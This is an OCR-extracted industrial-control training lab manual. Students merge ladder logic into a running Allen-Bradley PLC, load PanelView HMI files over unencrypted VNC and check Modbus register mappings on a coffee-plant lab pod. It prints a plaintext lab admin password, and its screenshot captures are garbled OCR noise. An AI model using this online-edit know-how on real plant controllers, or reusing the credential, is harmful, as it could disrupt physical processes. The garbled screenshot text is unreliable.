Expand the MainTask tree control and then expand the MainProgram tree control.

2. Under the MainTask, find the program that you were assigned to merge the new ladder logic into. You will be importing new
ladder logic into this running PLC program. Double-click and open the program file you are going to modify.

B File Edit View Search Logic Communications Tools Window Help -|®

BBH S $BE o[ SRR AR NY QR [w
RomAn 8 B A tiode ?PMW&

T »_| ™ Controler OK

& Logix Designer - RawPod1 [1769-L18ER-BB1B 24.13] - [MainProgram - R_RawOrPackPodClick1] - o X

No Edts B o S 0 COH AR OO O 8

a 1\ Favorites {"Add-On £ Alarms £ Bt A TmenCounter £ |
Controller Organizer TAEXN ) REEE S ey @ | L WX WK P N -]
=43 Controller RawPod1 ~

[ Controller Tags The following rung detects the Click 1 has requested a new product type

(23 Controller Fault Handler

Note: Al areas have Product Type 1 and Product Type 1 Weight request.
Mixing and Grinding have a Product Type 2 and Product Type 2 Weight request
Raw and Packaging areas will have tote and fil request whereas the Miing and Grinding wil not

-5 Tasks Local data storage

=-4& MainTask used for reading to
"SL x and writing from. Cick 1
=-£% MainProgram Holding register Product Type 1
A Parameters and Local Tags Values. Changed Memory
B MainRoutine NE Click1ProductType1Changediem
B Ronitiolize 'si:‘ E:::\I MBTU_MB_&xx{1]
u I

B R Modbus_Parsing 7 1004 Pfoduct(‘:f:se'Change

B R RawOrPackPodClick1

Sus ful
B R RawOrPackPodClick2 ccess!

CIk01ProdType1ChangeSuccesstul
u

Source 8 dR_CKO1ProdTypeiReq
100 ¢

| LB P BreakerCtrl
& T_ModbusCtrl
@53 P_ModbusMasterTCP

The following rung adds delay between the request and the response to simulate the A-B Pod controller looking up to see it the product is available
(53 Unscheduled Programs / Phases ick 1 Cick 1
-5 Motion Groups Throw Product Type Product Type 1 Echo Product Type 1
(3 Ungrouped Axes Error Changed Memory Delay
(3 Add-On Instructions ThrowProdTypeError  Click1ProductType1Changedilem
£ Data Types 1 —— f———————] | Timer On Delay Hceny—
- ypes Timer ClickiEchoProdType1
@ G User-Defined o Preset 1000 ¢~ DN)—
. . > Accum 04
Type |Ladder Diagram ~
Descripton |Raw or Packaging Pod
| v After the delay, the requested product type wil be granted and the A-B will respond to the Click that the product is avaiable
< > Read From Click 01

ft= Controller Organizer f, Logical Organizer |
Enter BOOL operand Rung0of35  APP VER @

3. Scroll down to the last rung of the program and right click the " End " rung
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B File Edit View Search Logic Communications Tools Window Help

ﬁ Logix Designer - RawPod1 [1769-L18ER-BB1B 24.13] - [MainProgram - R_RawOrPackPodClick1]
- & x

BEH & @ oo 885 Bk BT QQ| [erbmwe. /8|

Rem Run I8 ™ Run Mode Path: [AB_ETHIP-1\172.16.1.2" ~] |

No Forces )| M Controler OK 1’
No Edits 2 : ?oe'g;‘imge K 4 H I &= AF - ) Aur {Lr »
1‘ ]\ Favorites £ Add-On X Alarms Timer/Counter £ 1

R X WY K v 9

Controller Organizer v BOX e SRS ES B e B oae v w

Clcik 1

45 Controller RawPod1 ~
[ Controller Tags
(23 Controller Fault Handler
[ Power-Up Handler 24 Move -
£ Tasks Source MBTU_MB_4xx[9]
MainTask 40094
B ?ﬂ MainProgram Dest dR‘CIiCHE%rSQ(_
Parameters and Local Tags
..y MainRoutine
R_Initialize
-[B R Modbus_Parsing
R_RawOrPackPodClick1
*..[B) R_RawOrPackPodClick2
-9 T_BreakerCtrl
- -03 P_BreakerCtrl
-89 T_ModbusCtrl
- @08 P_ModbusMasterTCP
.3 Unscheduled Programs / Phases
£3Motion Groups
.23 Ungrouped Axes
(21 Add-On Instructions

Temperature

(End| ‘

£ Data Types

Ejg Es_er-neﬁned .
< >
Type Ladder Diagram ~

| Description Raw or Packaging

< >
T ControlerOrganizerf, Logical Organizer L N | <
Rung?? of 72 APP VER &

Ready

| €

4. Select " Import Rungs " and select the file based on the criteria below:

Student # File

Raw Ingredients or Packaging 1 Lab1.6\Studio 5000 Imports\Rungs_from_R_RawOrPackPodClick1.L5K

Raw Ingredients or Packaging 2 Lab1.6\Studio 5000 Imports\Rungs_from_R_RawOrPackPodClick2.L5K

Mixing or Grinding 1 Lab1.6\Studio 5000 Imports\Rungs_from_MixOrGrindPodClick1.L5K

Mixing or Grinding 2 Lab1.6\Studio 5000 Imports\Rungs_from_MixOrGrindPodClick2.L5K
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Tt= Controller Organizer Yy, Logical Organizer

‘ [
Verify Rung

& Logix Designer - RawPod1 [1769-L18ER-BB1B 24.13] - [MainProgram - R_RawOrPackPodClick1] - o x
B File Edit View Search Logic Communications Tools Window Help & x
BEE & 1@ o[ A%k MY QA [k 18|
Rem Run 8 ™ Run Mode IR | Path: [A8_ETHIP-1\72.16.12 ] &
No Foroes ».| ™ Controler OK ’
No Edts :5’;;';:’(3‘“9*0'( C H bl kel AR W L 0 O 5
(81| < >\ Favorites {AGEON £ Alrms £ Bt £ Tercaurter 1
ool e TEXNE SBEE By ey @ [ LW WY WY K Wik B
& Controller RawPod1 ~
Controller Tags Clcik 1 ~
Te
(3 Controller Fault Handler emperature
(1 Power-Up Handler Move -
&5 Tasks Source MBTU_MB_4xx{g]
MainTask 4009 €
8 @ an a‘s Dest dR_Click1Temp
=-£8 MainProgram 4009 ¢
Parameters and Local Tags
[ MainRoutine
R_nitialize
_Modbus_Parsing
R_RawOrPackPodClickl Cut Rung Ctri+X
B RRawOrPackPodClick2 Copy Rung Ctrl+C
-9 T_BreakerCtrl Paste CtrleV
- w-08 P_BreakerCtrl
=69 T_ModbusCtrl Delete Rung Del
-3 P_ModbusMasterTCP Add Rung Ctrl+R
(5 Unscheduled Programs / Phases Edit Rung .
& g"‘l'f" G’°“P:Ax Edit Rung Comment Ctrl+D
Ingrouped Axes
[ Add-On Instructions [ Import Rungs...
=45 Data Types Export Rungs...
%ES_E"M'"’" v ¢, StertPending RungEdits  Ctrl+Shift+S
s 24 7% Accept Pending Rung Edits
[Type Ladder Diagram ~ X Cancel Pending Rung Edits
| Description Raw or Packaging
v 1Y, Assemble Rung Edit
< > ¢ Cancel Rung Edit v
>

Rung (End) of 35 APP VER &

5. You will be presented with an Import Configuration dialog window, and you will accept the defaults by selecting " ok "
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B " Import Configuration - Rungs34to39_from_R_RawOrPackPodClick1.L5X

v‘ @ ‘& :Find/RepIaoe...:

& 5 Find:

Find Within: Final Name

Import Content:

-5 Programs
i MainProgram
- Ri :
YT mportedRungs: 6
- @ References Operation: Create
i Tags ’
& Errors/Warnings

Configure Rung Properties

é;.'

v after last Rung
) References will be imported as
configured in the References folders

Routine Properties
Name: R_RawOrPackPodClick 1
Desaription: Raw or Packaging Pod
Type: Ladder Diagram

In Program: C}: MainProgram

Preserve existing tag values in offline project

o] cmal || e
Ready

6. When you import logic into a running program you have an opportunity to insert the logic without the PLC executing the

ladder code. In our case, we want the PLC to insert, accept and run the ladder logic we are inserting. Select " Finalize All
Edits In Program"to let the PLC run the logic we are inserting and click " ok "
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Online Options

For all Program Logic Edit options, all new or modified Tags, Connections, Data
LL Types, or Add-On Instructions referenced by imported logic and all Task, Program,
and Routine properties will be downloaded to the controller immediately.

If overwriting tags, the imported values will be written to the offline project, but will
not be downloaded to the controller.

Program Logic Edits

(O Import Logic Edits as Pending
(O Accept Program Edits
(® Finalize All Edits In Program

Choose how program logic edits will be imported. The option that is selected here will also
be applied to any edits that already exist in 'MainProgram.'

OK | | Cancel

7.0nce all the rungs are inserted, you will see the new ladder logic code is being executed after being inserted. We will test this

logic in future labs.

Controller Tags
(3 Controller Fault Handler
[ Power-Up Handler
263 Tasks
. £8 MainTask
=-£8 MainProgram
Parameters and Local Tags
[ MainRoutine

Initialize

_Modbus_Parsing
_RawOrPackPodClickl
_RawOrPackPodClick2
.59 T_BreakerCtrl
£ P_BreakerCtrl
.89 T_ModbusCtrl
(% P_ModbusMasterTCP
(3 Unscheduled Programs / Phases
£ Motion Groups
[ Ungrouped Axes
(23 Add-On Instructions
-£5 Data Types
L3, User-Defined
o
< >

Type. |Ladder Diagram ~
Description |Raw or Packaging Pod

| v
< >

Tt= Controller Organizer 'y, Logical Organizer

Project saved to Recovery file.

24

37

& Logix Designer - RawPod1 [1769-L18ER-BB1B 24.13]" - [MainProgram - R_RawOrPackPodClick1] - [u] X
B File Edit View Search Logic Communications Tools Window Hel - & x
9 p
BEE & ime - F8G Bk Y QQ | [
Rem Run ¥ M Run Mode ‘ Path: [AB_ETHIP-1172.16.1.2° v &
No Forces )| [ Controller OK
! [ Energy Storage OK

No Edts 2| m ook COH ol AR A A A »

i) T\ Favorites £ Add-On X Alarms A Bt A Tmer/Counter A |
Controller Organizer v B Xx H SRR EE s oy w [ LAY XX ¥ ¥¥® W o
=-£5 Controller RawPod1 ~

Clcik 1 ~

Temperature

Move —

Source MBTU_MB_4xx9]
4009 ¢

Dest dR_ClickiTemp
4009 ¢

Allow Click 1 Local data storage
Useless Box Switch used for reading to
lto cycle Breaker 01 and writing from. Useless box Close Useless box command
On Coil Values. Breaker 1 Memory to close breaker 1
AllowClick1ToCycleBreaker01 ~ MBTU_MB_0xx|[64]  UselessBoxCloseBreakeriMem UselessBoxCloseBreaker1
JE JE
Useless box command Pod 1 Breaker 01 Useless box Close

to close breaker 1 Closed Status

UselessBoxCloseBreaker1 Local:1:.Data.4
3 —

Breaker 1 Memory
UselessBoxCloseBreaker1Mem
L

3 | S —

Local data storage

used for reading to

and wriing from.  Pod 1 Breaker 01
Coil Values. Closed Status

Useless box Close
Breaker 1 Memory

MBTU_MB_0xx{8¢]  Local1:lData.4 UselessBoxCloseBreakerilem
= JE (L
Allow Ciick 1

Useless Box Switch
to cycle Breaker 01
on

R_RawOrPackPodClicki (T J <

Rung 35 of 41 APP VER &

Task 4 -- Load project into PanelView

The PanelView Plus 7 is the HMI found on the pod controller. You will not have enough time to design screens for the PanelView,
but we want to make you aware of how to interact with the Panelview to load compiled project files. The PanelView's compiled
file is known as ".mer" files. In this lab you will use VNC Viewer to connect to the PanelView and load .mer files.
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Please note, we will have student 1 load and run one .mer file. Once student 1 is completed with the exercise, we will have student
2 load another .mer file.

Note

If you are not sharing the pod with another student, LOAD STUDENT 2 .mer file last as it contains student 1 and student 2
content.

1. VNC Viewer is loaded on your virtual machine so launch this program by searching in Windows and launch the VNC Viewer
application

Best match

VNC Viewer
App

Search the web

L vnc - see web results >

£ vnc Viewer

2. Enter your PanelView IP Address. It will be 172.16.[your pod #].3. In the example below, we are connecting to Pod #1
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[T VNC Viewer
File View Help
VNC CONNECT [172.16.13

I ‘§ign in. v

There are no computers in your address book at present.
Sign in to your RealVNC account to automatically discover team computers.

Alternatively, enter the VNC Server IP address or hostname in the Search bar to connect directly.

3. The VNC Viewer connection is not encrypted, and this dialog reminds us of this fact. Select " continue "

m Encryption X

0 Unencrypted connection

The connection to this VNC Server will not be encrypted.
VNC Server: 172.16.1.3::5900 (TCP)
Your authentication credentials will be transmitted securely, but all

subsequent data exchanged while the connection is in progress may be
susceptible to interception by third parties.

[CJDon't warn me about this again on this computer.

4. On the Student Pod, PanelView screen, click the " Pod[your pod #] Exit"button in the bottom left corner to enter the
PanelView setup menu.
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File ew Help

| VNCCONNECT (1751673 | & sionin. v |

172.16.1.3 (PanelView VNC Server) - VN.. — u] X

= k1 PLC  CIK2PLC Trblshoot
m— 2/152006 2:04:11 PM

172.16.1.3

5. Select " Load Application [F1] "to load an application.

172.16.1.3 (PanelView VNC Server) - VNC Viewer - O X

FactoryTalk View ME Station

Current application:
| IC$612Pod01-2.mer

Load Application Run Application Application Settings
[F1] [F2] [F3]
Terminal Settings g:;z:z t{?.:gm":\::wegs O Yes
[F4] [Fs] oL
PYP39078
172.16.1.3 R[f:%t
255,255,255.0

6. Student 1 will load the .mer file ending in -1. Student 1 will use the arrow keys or click the .mer file ending in "-1" and press
"Load [F2] "to load the PanelView HMI file.
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m 172.16.1.3 (PanelView VNC Server) - VNC Viewer — O X

Load Application

Internal Storage
Source @ Load

[Fi] () External Storage 1 [F2]
External Storage 2

1CS612Pod01-1.mer
1CS5612Pod01-2.mer

I Cancel
[F&]
7. Select " ves " to accept the new configuration
& 172.16.1.3 (PanelView VNC Server) - VNC Viewer — O X

Replace Communications

Do you want to replace the terminal's cument communication configuration with
the application’s communication configuration?

Yes No
[F7] [Fg]

8. Once the -1.mer file is loaded, click " run " application to view the screens
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m 172.16.1.3 (PanelView VNC Server) - VNC Viewer — O X

FactoryTalk View ME Station

Cumrent application:

I ICS612Pod01-1.mer

Load Application Run application Application Settings
[F1] [Fz] [F3]
. ) Delete Log Files Yes
Terminal Settings Befare Running
[F4] [FS] Mo
PYP39078
Reset Exit
172.16.1.3 [F7] [F3]
255.,255.255.0

9. Once the file is loaded, you can explore to Open and Close the breakers and view the Click T communications to the
CompactLogix PLC.

m 172.16.1.3 (PanelView VNC Server) - VNC Viewer - O X

MAIN LINE

Clk1 PLC

Pod1

Exit 8/30/2019 3:21:47 PM

10. Once student 1 has completed the loading and running of the .mer file, student 2 will load their .mer file. To do this, use VNC
Viewer to connect to the Panelview. Click " Pod[your pod #] Exit " button in the bottom left corner to enter the PanelView
setup menu.
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File View Help

| vnC connecT

1721613 | & sionin. ~

& 172.16.1.3 (PanelView VNC Server) - VN.. — 0 X

e
(=]

Foct fewi pue Trblshoot
! 21152006 2:17:14 PM

172.16.1.3

11. Choose the .mer file that ends in -2, which stands for student 2. Student 2 will use the arrow keys or click the .mer file ending
in -2 and press " Load [F2] "to load the PanelView HMI file

m 172.16.1.3 (PanelView VNC Server) - VNC Viewer — O X

Load Application

(3) Internal Storage -—
5[0: { ;e () External Storage 1 [F2]
External Storage 2

1CS612Pod01-1.mer
1CS612Pod01-2.mer

h 4

Cancel
[Fs]

12. Once the -2 .mer file is loaded, select " Run Application”.

13. When you download student 2's .mer file, buttons for both Click 1 and Click 2 will be present on the bottom of screen in the
menu area. Feel free to operate the breakers and explore the communications between the Click Plus PLC's and the Allen-
Bradley CompactLogix PLC.
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m 172.16.1.3 (PanelView VNC Server) - VNC Viewer — O X

MAIN LINE

Clk1 PLC  Clk2 PLC

Pod1
Exit

8/30/2019 3:24:59 PM

14. Close Logix Designer and the VNC Viewer to prepare for the next lab. You can save the Logix program if you wish but it is not
necessary.

1. RSLinx is used to discover automation assets. What do you have to enable on a router to discover assets on a different
VLAN?

2. What protocol is being used to communicate between the Allen-Bradley CompactLogix and the Click Plus PLC? Hint: the Click
Plus PLC has been configured to communicate using port 502.

3. What protocol is being used to communicate between the PanelView and the CompactLogix?

Exercise Takeaways

Each PLC vendor will choose which ICS protocols they will support natively and leverage 3 parties for communication bridges to
bring non-natively supported protocols into their systems. We saw where setting up the communication layer first allows all the
other applications like the PLC design tools and the HMI package to discover the tags within the PLC.

We also learned that PLC vendors have focused on allowing changes to a running program through online edits and even
merging entire snippets of code while the PLC is running. This is different than most complied software environments where the
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entire program is compiled and replaced whereas, a PLC allows editing, adding or removing only the code that is changed. This
allows the PLC to continue controlling the process even during program changes.
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Lab 1.7 -- Connect Student Kits to the Shared Pod

Background

Total Lab Time: 20 minutes

Objectives

+ Investigate and understand the register layout behind the CompactLogix Modbus Master logic
« Verify heartbeat registers in order to verify communications

« Enter coffee plant requests via the Click Plus PLC and C-more Micro HMI and verify the Pod CompactLogix line PLC is fulfilling
the Click Plus PLC request to fill, mix, grind or package the coffee order

Task 1 -- Investigate and understand Modbus Master register layout

The CompactLogix PLC has been programmed as a Modbus master and will poll Modbus slaves like the Click Plus PLC. While we
will not investigate the Modbus master ladder logic, we will dive into the configuration and interface registers.

1. To prepare the CompactLogix for this lab, choose between you and your partner who will download the CompactLogix as it's
not necessary for you both to download the same program. Open the Lab Files -> Labl1.7 -> Allen-Bradley folder and
oepn your respective Pod Lab 1.7 file for the CompactLogix.

Note

If asked, you can ignore the Adobe Warning

2. To download the file, double click your Pod's .ACD file and the Logix Designer will open the file. You can download the file by
selecting " communications " at the top menu bar and then selecting " bownload ".

3. Once you are done downloading, you will be prompted to change the controller back to " Remote Run" mode. Click " ves " to
return the PLC back to Remote Run mode.
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@ Logix Designer - RawPod1 in RawPod0101182022 Lab1.7.ACD [1769-L18ER-BB1B 24.13] - O X
File Edit View Search Logic Communications Tools Window Help
EEH & s BR o Jeaa Bk V8 QQ |[sarmmme. ‘8|
Rem Prog (2 = Program Mode M | b [AB_ETHIP-1\172.16.1.2 v||
o »_| I Controller OK @
No Edts = :,E,o’o"”,(s“g’oK CH i AR Ly O >
< >\ Favorites {7Ada-0n £ Safely X Alarms £ Bt £ TmerC
troller Organizer > 3 x

-\ Controller Tags

~~~~~ [ Controller Fault Handler § 3
Logix Designer

~~~~~ (33 Power-Up Handler

=-E3 Tasks

B@ MainTask

-8 MainProgram

-39 T_BreakerCtrl

-C% P_BreakerCtrl

& 63 T_ModbusCtr | v ]

-C8 P_ModbusMasterTCP

----- Unscheduled Programs / Phases

=-£3 Motion Groups

0 Done downloading. Change controller mode back to Remote
A,& Run?

-3 Add-On Instructions
-5 Data Types

[].. User-Defined

- Cj Strings

.4 Add-On-Defined v

< I >

Ie= C Organizer T, Logical Organi
I with no errors or ing: =Y

4. Each student will download your Click Plus PLC with a completed Click Plus PLC program. Download your Click Plus PLC

with the appropriate program found in the Lab Files\Lab 1.7\click folder.

If you are:
* Assigned to Pod 1, 2, 3 or 13 in the Raw Ingredients area you will open Click sAB Modbus Lab01.7 Pod1-2-3-13.ckp

* Assigned to Pod 4, 5,6,7,8,9,14 or 15 in the Mixing or Grinding areas you will open Click sAB Modbus Lab01.7
Pod4-5-6-7-8-9-14-15.ckp
* Assigned to Pod 10, 11,12 in the Packaging areas you will open Click sAB Modbus Lab01.7 Pod10-11-12.ckp
5. In the Click Plus software, download your Click Plus PLC project by selecting the " Home " menu item then selecting " write

Project "

Program

Chip Board

Select " connect ". When you are prompted for the password, enter:

User Type: admin
Password: sansics123

Note

the Click Plus project files may have a different IP Address settings than what you require or that are now stored in your

PLC.

6. Select " use PLC settings " to keep your Click Plus PLC IP Address configuration.
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Select Network Settings X

The Network settings do not match between the PC Project and the PLC Project.
Choose which Network settings you want to use.

This setup will also be copied into the CLICK Project.
l Use Project File Settings I Use PLC Settings
I PLC Name I I =
= " Com1 Ethernet Port Project File : PLC Setting
V] Enable IP Address to be changed from software Enable IP Address to be changed from software
Security Configuration - —
] Enable Response to Ping from other devices Enable Response to Ping from other devices
(O Obtain Address from DHCP Obtain Address from DHCP
(O Use default fixed address Use default fixed address
Network Address @ set manually Set manually
Configuration IP Address: ‘ 1R 46« B « 12 : IP Address: l 199 AR A J

Subnet Mask: ‘ 255 . 255 . 255 . O ‘ SubnetMask: | 255 . 255 . 255 . 0O ‘

Default Gateway: 1 2.8 .8 .1 Default Gateway: [ 2.5 .1 . 1 }

Obtain DNS Server address automatically

(®) Use the following DNS server address Use the following DNS server address
DNS Server

Configuration Preferred DNS server: | 8 =0 o 0 /0 ] = | PreferedONsserver:| 0 . 0 . 0 . 0 |
[[] Altemate DNS server Altemate DNS server
AItefnateDNSserver:{ 0 w0 0P \ AlternateDNSserver:| 0 . 0 . 0 . 0 ‘
Timeout(0-30000ms):| 1000 s ms Timeout(0-30000ms):| 1000 s ' ms
ModbusTCP Configuration Retries(0-10):| 2 al = Retries(0-10):| 2 -
as Client(Master) — - — —
Server Inactivity Timeout(0-3600sec):| 60 51 sec Server Inactivity Timeout(0-3600sec):| 60 < sec
L] Enable Modbus TCP Server Enable Modbus TCP Server
ModbusTCP Configuration TCP Port Number(0-65535): = TCP Port Number(0-65535): $
as Server(Client) Maximum Concurrent Sessions:3 _— Maximum Concurrent Sessions:3
Client Inactivity Timeout(0-3600sec):| 60 =1 sec Client Inactivity Timeout(0-3600sec):| 60 < sec
Cancel

7.Click "ok " and " ves " to change the Click Plus PLC to STOP mode. Make sure the " Run Time Edit " checkbox is not selected
when you download. After the "Transfer Completed" dialog box appears, select " ok " and then select " Run " to complete the
download.

8. Close the Click Plus application when the download is complete.
9. Download your C-more HMI with the appropriate program found in the Lab Files\Lab 1.7\C-more folder
If you are:

* Assigned to Pod 1,2,3,10,11,12, 13, 16 in the Raw Ingredients or Packaging area you will open Pod 1-3&10-13 Coffee
Lab017.mgp

* Assigned to Pod 4, 5,6,7,8,9,14 or 15 in the Mixing or Grinding areas you will open Pod 4-9&14-15 Coffee Lab017.mgp
10. Double-click your C-more HMI file and this will launch the C-more micro programming software.

11. Using the blue USB to Serial converter to download the program, you will connect the C-more serial cable that is normally
plugged into the Click Plus PLC port #2 into the USB to Serial converter. You will plug the USB cable into your computer. When
prompted by VMware, you will connect the USB converter to the ICS612 Virtual Machine and not the host.

12. To download the project, select " send Project to Panel".
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:_;" File Edt View Tool Object Screen Database Setup Panedl Window Help - (&)X
J|ld Rk dd @

LML
Start aProject

Simulate Project

Send Project to panel

13. You will be presented with an option to select the COM port. You will be able to determine your COM port by selecting
Device Manager and selecting the COM port that indicates it's a Prolific USB-to-Serial Comm Port

Step 3 X
~Transfer
(@ Serial
COM PORT: COM3 wv | Detail
Transfer
Device Manager
(O Ethemet
v | Browse...
In the example below, COM3 is the correct selection.
Step 3 X
—Transfer
~(® Serial
COM PORT:  COM3 ~v | Detail
Transfer
Device Manager
O Ethemet

v | Browse...

- Save Project to Panel Memory

If enabled, the project will be stored in panel memaory
and will enable read back to PC. This will use more
panel memory. Disable this feature if you require more
panel memory for your project size.

File Information
File Type:

Size:
- Runtime File 11180 byte |
- PLC Driver File 0 byte
- Project File 16574 byte |
Total Size: 27754 byte W
Attention :

The Panel "Setup Screen' must be active for the software
to communicate with the panel. Press the F1 key and the F5

key at the same time for 3 seconds to activate the Setup
Screen.

Close Help

14. Click Transfer.
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Note

You must push function keys F1 and F5 at the same time to access the C-more panel to the Setup Menu. You must be on
the Setup Menu to download a program to the C-more HMI

It is common to have an error upon the first attempt to download. When you experience this issue first make sure the C-more
panel is on the Setup Menu by pressing the F1 and F5 buttons at the same time. If the C-more panel is on the Setup Menu
then acknowledge the error popup box and retry the download.

C-more micro (Ver4.35.0.0) X

Error PTC-015: The Com port does not exist or is in use by
another application. Close all other applications and try
again.

Once the program is downloading, you will see the Data transmission progress bar.

Transfer Complete X

0 Project Transfer Complete

After the project has successfully downloaded, you will see the Project Transfer Complete dialog box. Click "OK" to return to
the programming environment.

15. Close the C-more micro programming software.

16. Unplug the serial cable that was plugged into the blue USB serial converter and put it back into the Click Plus PLC, Port 2
RS-232. You should see the C-more HMI power up with the newly downloaded screens.

17. Using the Logix Designer software, double Click the Controller Tags folder and scroll down to the start of MTU section.

The tags that start with MBTU are meant to have their tag values modified by the User. The MBTU data structure contains the
configuration for the following data:

« Click Plus PLC Student 1 IP Address -> MBTU_Connections[0]. MBTU_DestAddress

« Click Plus PLC Student 2 IP Address -> MBTU_Connections[1].MBTU_DestAddress

« Click Plus PLC Student 1 Click switch -> MBTU_MB_0xx[064]

* Click Plus PLC Student 2 Click switch -> MBTU_MB_0xx[164]

* Reading Click Plus PLC Student 1 DS10 through DS19 -> MBTU_MB_4xx[00] through MBTU_MB_4xx[09]
* Writing Click Plus PLC Student 1 DS20 through DS29->MBTU_MB_4xx[10] through MBTU_MB_4xx[19]

* Reading Click Plus PLC Student 2 DS10 through DS19 -> MBTU_MB_4xx[20] through MBTU_MB_4xx[29]
 Writing Click Plus PLC Student 1 DS20 through DS29-> MBTU_MB_4xx[30] through MBTU_MB_4xx[39]
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Let's start investigating the MBTU_Connections data structure.

8 Logix Designer - RawPod1 [1769-L18ER-BB18 24.13]" - [Controller Tags - RawPod](controller)] - a X
D File Edit View Search Llogic Communications Tools Window Help .8 x

BEE & sRE o[ MG B VY QA | [, | B

Rem Run T M Run Mode |m: AB_ETHIP-I\172.16.12" ~|

H i & AF 4 ) )

[T Controller Organizer T, Logical Organizer

~ T
. |Does the incomin... | [] @ﬁ” 5 | Extended Pr
[ S Ganeral
il i i RE ]
| eqTesks : Name MBTU_EnetMod...
) T L] Description  Pathto desired s
=68 MainTask i
) B Doesthe ot goin...| [ | Usage <controller>
8 MainProgrom Does the out gor 0 Tipe Baoe
[ Parameters and Local Tags goin.. | |
 EyMsinRouti Doesthe ot goin..| [ Adas For
Routine Base T:
| Doesthe ot gon.. | [} %
| ) ——————] DaaTye  STRING
B R Modbus_Parsing . Scope @ Rawpod!
1B RRewOrPackPodClicki Aray of conecto..| Bdemal Acce... Read/Wite
"B R_RawOrPackPodClick2 [Fatho desired slo... Style
5 BT seskercil I 5 S e
s OB P BreskerCud -J[Decmal [BOOL ] Requred
&9 T_ModbusCtr Decmal  [BOOL L] Vable
(3 P_ModbusMasterTCP Decmal  |INTR2 L] @ Data
3 UnchesiedPrograms/ Phases e u Produced Camection
= ExMoton Groups e oot Cou [0 = s e
(5 Ungrouped Axes 5] | Trensaction defrt | [ 8 X Lo
-3 Add-On Instructions : 5 O
-5 Data Types 81 ] L]
e v g
<IN Decmal [BO Mocor Gind Cycle..| [
oo (800 n
Decmal __[E ]
ME L]
< I Open Breaker 27| L]

|Cmm0u!pm“ latch ir i =

18. The Modbus logic template has a main instruction enable bit named "MBTU_EnMBTCP which is the main instruction enable
bit.

Scope: |I!lGrindingPod15 v| Show: lAlI Tags v||7. Enter Name Filter

€|Force Mask €
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The MBTU_Connections tag structure requires individual Modbus slave IP Addresses be entered with individual enable bits.
This structure is used to define the remote Modbus Destination IP Address and the enable bit which is used to determine if

this connection is enabled.

Check that MBTU_Connections[0]. MBTU_DestAddress is 172.16.(Pod#).12 which represents the IP Address of the Student 1
Click Plus PLC and the MBTU_Connections[0].MBTU_Enable bit is "1".

Note
If this address is incorrect, the CompactLogix will not communicate to the Click1 PLC.
@ Logix Designer - RawPod1 in RawPod0101182022 Lab1.7.ACD [1769-L18ER-BB1B 24.13) - [Controller Tags - RswPod 1 (controller)] - o X
[ File Edit View Search Logic Communications Tools Window Help - & x
A & 'R o o v ARG Bk YV QQ
Rem Run 8 M Run Mode SN | path: [AB_ETHIP-1172.16.12 - &
No Forces »_| I Controlier OK L""
| [ Energy Storage OK < >
PR 2/ @00k :
a ]\ Favorites £Aga-On A Satety X Alrms £ B £ Tmenc
Controller Organizer * 8 X[ cope: [@RamPos1 | Show: [ Teon [+ <]
[Z '.ﬂcgonuuuunaww ~ Name =3/ [ Value +|Force Mask ¢ | Style Data Type Description Constant A Properties a
3| Controller Tags ™ TS Toea) READ_RESP_ST... | Aray to ore the 5 21| & # ||
£ + MBTI_Read | _RESP_ST_. 0 T 5 # |[Biendedpry
o :omma:. :u: ‘Hnndlev |+ MBTI_Wre_Data_MSG_00 Tise) (5] Diathe ol goin o W= G-'\‘ ~
'ﬂ;;k:m'. Jp Handler + MBTI_Wre_Data_MSG_01 Tesvk {eeed Does the out gon L] Name MBTU_Cor
‘ £8 MainTask (- METL Ve Dtn 3G 2 LY ) Does the out gon (] Description Ay of conn
: ?:‘Mlmpmgum | METI Wite_Data MSG. 03 (E) (] |MESSAGE Does the out gon O Usage
69 T Breskescun ||+ MBTI_Wite_Data Out Py (Eod) WRT_DATA] |koutparamsused. | [ Type Base
T CBP_BreakerCer -} MBConnecton(4] | Aray of comecto..| [ NS
2 »'éT Modb = ~ N T (...} MBConnection Amay of connectio Base Tag
=) = usCerl o Data Type
+ 0 P_ModbusMasterTCP + MBTU_Connections[0] MBTU_DestAddress | *172.16.1.0127port=502" =] STRING
£ Unscheduled Programs / Phases " L Decimal BOOL
-3 Motion Groups - K ! [ Decimal DINT
£33 Ungrouped Axes L1 [ metuc [0} MBTI_Connected | 1 Decimal BOOL
3 Add-On Instructions | 4+ MBTU_Connections[0] MBTI_ConnLastEmoe 0 Decimal DINT
)53 Data Types — (=== MBConnection
4 j\ User-Defined |+ MBTU_C )t '172.16.1.0222port=502" [-.5) STRING
{1 Strings | MBTU_Connections{ 1} MBTU_Enable 1 Decimal BOOL
G Add-On-Defined v " 4 Decimal [DINT e ol v
S > " MBTU_Connections(1) MBTI_Connected 0 Bocima 800L e SR S——
r |+ MBTU_C: | ConnlastEmor | -5 Decimal [DINT >
[&= Controller Organizer ¥, Logical Organizer 4 '» \ Monitor Tags £ EditTags / 1< >

. Check that The MBTU_Connections[1].MBTU_DestAddress is 172.16.(Pod#).22 which represents the IP Address of the Student
2 Click Plus PLC and the MBTU_Connections[1].MBTU_Enable bit is "1".

Note

If this address is incorrect, the CompactLogix will not communicate to the Click2 PLC.

. The MBTU_MB_0xx tags represent digital input being read from the Modbus slaves. In our labs, the Student 1 Click switch is
mapped to register MBTU_MB_0xx[64] and the Student 2 Click switch is mapped to register MBTU_MB_0xx[164]. You should
notice the data type is BOOL, thereby representing an input value of 0 or 1.

. On your C-More HMI, turn the "UBox Inhibit" switch to "On" in order to stop the Useless Box motor from running when you flip
the Useless Box switch back On.

. Flip your Useless Box switch from "Off" to "On" and you will notice for Student 1 Click, register MBTU_MB_0xx[64] change from
0 to 1. If you are Student 2, as you flip your Useless Box switch from "Off" to "On", you will notice register MBTU_MB_0xx[164]
changefrom 0to 1.
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& Logix Designer - RawPod1 [1769-L18ER-BB18 24.13)" - [Controller Tags - RawPod1(controller)] - o X
ogix Desig 95
2 File Edit View Search Logic Communications Tools Window Hel - 8 x
og p
BEHE & BB oo vV ea3 Bk VR QQ
Rem Run O W Run Mode Path: [AB_ETHIP1\172.16.12 v &
T »_ | M Controler OK """ =
e ——t B
No Edts a-ErI;vwﬁnr*OK « Hig & 48 4 4 40 O >
oK
i 1\ Favorites {Adaon A Aarms £ Bt X TmenCounter X |
Controller Organizer v B X || Scope: | @Ranpoat | spow: 41 Tage vl[v v|
=) ‘Sgnérollu :awTPod‘ A Name =z]c [Vake «[Foce Mask ¢ [Siyee | Data Type Description Constant A Properties 2
2 Controller Tags " MBTU_MB_0od45] ] Decimal BOOL Local data storag suall @ [extendeapr v
[ Controller Fault Handler “MBTU_MB_0o46] o 5 }m ;:: 81| @ # ||exencearr +]
